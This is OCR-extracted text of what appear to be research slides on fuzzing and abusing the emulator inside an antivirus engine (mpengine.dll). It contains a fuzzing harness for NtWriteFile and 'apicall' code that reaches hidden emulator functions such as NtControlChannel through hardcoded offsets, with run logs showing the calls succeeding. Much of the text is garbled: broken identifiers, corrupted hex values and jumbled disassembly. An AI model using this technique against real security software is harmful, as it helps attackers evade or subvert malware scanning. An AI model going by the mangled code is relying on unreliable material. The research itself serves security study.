(ULUNG ) pruzzraram->rParams| Z | . Kawraram, +
&lint, -
NULL);
280 GetFuzzParams(pFuzzParam);
281
282 1Int.QuadPart = pFuzzParam->Params[3].RawParam;
283
ntWriteFile(hFile,
NULL, —
286 NULL, |
NULL,
&iostatus,
(PVOID)pFuzzParam->Params[1].RawParam,
(ULONG)pFuzzParam->Params[2].RawParam,
291 &lInt,
292 NULL);
29
CloseHandle(hFile);
} while (g_LoopInfinite);
outputDebugStringA("NtWriteFile DONE");
|}
Elvoid Fuzz_NtSetInformationFile FileEndOfFileInformation(PFUZZPARAM pFuzzParam)
ki
-

190% <




Fuzzing NtiWriteFile

$ ./run.sh -z 4

Running MP 218

./mpclient -v 218 -f ./test.exe -z 4

[x] Log level set to S_UPDATE

[x] Initial seed set to @x5b@bOcca (1527450826)
[x] Version set to 218

[x] Running once

[x] NumberRuns: 1

[x] Function #4 - NtWriteFile

[!]

[!]==> MpEngine.d1l base at 0xf67a3008

[!]

[!]

[!]==> Logging to file seeds/seeds-1527450826
[!]

[+] Setting Hooks

[+] Hooks Set!

main(): Calling D1WMain()

main(): D1WMain done!

main(): Booting Engine!



Fuzzing NtiWriteFile

[.]
[v

[v]
[v]
[*]
[-]
[-]
[-]
[-]
[x]
[x]
[*]
[*]
[*]
[-]
[.]

[.]
[v

[v]
[v]
[x]
[-]
[-]
[-]
[-]
[*]
[x]
[*]

WinExec
Params[2]: 0x12feld 0Ox2
V: 0xf7b0b0o0oc
GetParam
GetFuzzParam!
fuzzParam Oxed27fa9%4
fuzzParam—>NumParams 4
fuzzParam—>FunctionName: ntdll!NtWriteFile
fuzzParam—>LastReturnValue: 0x0
@ STRING RawParam: 0x143e08 foobar.txt
1 STRING RawParam: 0x144e18 foobar.txt
2 DWORD RawParam: 0x20
3 QWORD RawParam: Oxffffffffffffffff
RawParams end
RES: 0
WinExec DONE

WinExec

Params[2]: 0x12feld 0Ox2

V: 0xf7b0Ob0o0oc

GetParam

GetFuzzParam!

fuzzParam Oxed27fa9%4

fuzzParam—>NumParams 4

fuzzParam—>FunctionName: ntdll!NtWriteFile

fuzzParam—>LastReturnValue: 0x0
@ STRING RawParam: 0x143e08 foobar.txt
1 STRING RawParam: 0x144e18 foobar.txt
2 DWORD RawParam: 0x100
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apicall Abuse - OutputDebugStringA

{

sub_7C816D4E proc near
C816DAE 8B F mov edi, edi
7C816D50 E8 60 80 60 ee cal $45
16D55 83 C4 84 add esp, 4
@F FF F© BB 14 80 B2 apicall kernel32!OutputDebugStringA
-tes C2 e4 oo retn 4
.text:7C816D5F sub_7C816D4E endp

EVOID OutputDebugStringA APICALL(PCHAR msg)

typedef void(*0DS)(char *);
HMODULE k32base = LoadLibraryA(“"kernel32.d11");
0DS apicallODS = (0DS)((BYTE*)k32base + @xl6dde);

apicalloD5(msg);

entrypoint()

these will only be visible if you have some kind of instrumentation on the OutputDebugStringh
emulation in the engine. Both will reach mpengine!KERNEL32_DLL OutputDebugStringA.
OutputDebugStringA( "OutputDebugStringA the normal way™);

OutputDebugStringA_ APICALL("OutputDebugStringA via ret2apicall”™);

1]

f/call NtControlChannel via apicall - shouldn't be able to do this
NtControlChannel APICALL();

return 8;




apicall Abuse - NtControlChannel

,"'; £

text
text
text
text
text
text
text
text

* f

/

{

;

;

{

:7C852004
:7C852004
:7C852004
: 7C852006
:7C85200B
: 7C85200E
1 7C852015
1 7C852015

OutputDebugStringA("Vversion number matches 14600");

kernel32.dll vdll

8B
E8
83
OF
c2

+0x52004

FF
00
ca
FF
08

HMODULE k32base
NTCC apicallNTCC
DWORD VersionNumber;

00 00 00

04

F@ FD 9E 9E 93
00

VOID NtControlChannel APICALL()

it (VersionNumber == 14600)

sub_7C852004

sub_7C852004

typedef DWORD(*NTCC)(DWORD, void *);
LoadLibraryA("kernel32.d11");
(NTCC) ((BYTE*)k32base + 0x52004);

// NtControlChannel(ex3, &versionNumber)

// When called with information class @x3, NtControlChannel returns mpengine.dll version,
// in this case, 14600. Ignore result

apicallnTCC(©x3, &VersionNumber);

proc near ; CODE XREF: MpStartProcess+123F
5 MpStartProcess+18FD p

mov edi, edi

call $+5

add esp, 4

apicall ntdll!NtControlChannel

retn 8

endp




apicall Abuse - OutputDebugStringA

$ ./runapi.sh -z @

Running MP 218

./mpclient -v 218 -f ./ret2api.exe -z 0

[x] Log level set to S_UPDATE

[x] Initial seed set to @x5b@bll2a (1527451946)
[x] Version set to 218

[x] Running once

[x] NumberRuns: 1

[x] Function #0 - Fuzz_GenericRegressionTest
[!']

[!1==> MpEngine.dll base at 0xf67a3008

[!]

[!']

[!]1==> Logging to file seeds/seeds-1527451946
[!]

[+] Setting Hooks

[+] Hooks Set!

main(): Calling D1WMain()

main(): D1WMain done!

main(): Booting Engine!

main(): Engine booted!

main(): Scanning ./ret2api.exe...

[T] ReadStream 0 €00

EngineScanCallback(): Scanning input

[+] ODS: "OutputDebugStringA the normal way"
[+] ODS: "OutputDebugStringA via ret2apicall"
[+ﬁ 0DS: "Version number matches 14600"

$



